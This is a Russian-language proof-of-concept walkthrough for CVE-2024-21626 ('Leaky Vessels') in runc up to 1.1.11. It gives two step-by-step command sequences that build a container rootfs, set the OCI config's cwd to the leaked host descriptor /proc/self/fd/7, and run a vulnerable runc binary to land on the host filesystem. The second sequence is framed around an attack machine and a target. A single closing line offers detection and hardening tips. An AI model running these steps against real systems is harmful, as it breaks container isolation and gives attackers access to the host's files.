
PoC для CVE-2024-21626: runc утекает внутренний fd, ссылающийся на host CWD перед pivot_root, что позволяет совершить выход из контейнера, установив process.cwd в /proc/self/fd/7
| Поле | Описание |
|---|---|
| CVE | CVE-2024-21626 |
| Затронутый компонент | runc ≤ 1.1.11 |
| Класс уязвимости | Побег из контейнера через утечку файлового дескриптора |
| Псевдоним | Leaky Vessels |
runc пропускает внутренний файловый дескриптор (обычно fd/7), указывающий на рабочий каталог файловой системы хоста перед запуском процесса контейнера. Установив cwd контейнера в config.json как /proc/self/fd/7, процесс оказывается в каталоге хоста, а не в корневой файловой системе контейнера — что приводит к побегу из контейнера.
Создайте минимальную корневую файловую систему, скопировав бинарники непосредственно с хоста:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
Что происходит: runc открывает fd/7, ссылающийся на CWD хоста, перед переходом в корневую файловую систему контейнера. Установка cwd в /proc/self/fd/7 заставляет runc выполнить chdir() в путь хоста, а не контейнера — вы оказываетесь на реальной файловой системе.
Если вам нужно более полное окружение или на хосте ограниченный набор бинарников:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() на /proc/self/fd/ в конфигурациях cwd контейнера; оповещайте об OCI-бандлах с cwd, содержащим /proc/self/fd/proc; рассмотрите rootless-контейнеры или gVisor/Kata для более сильной изоляции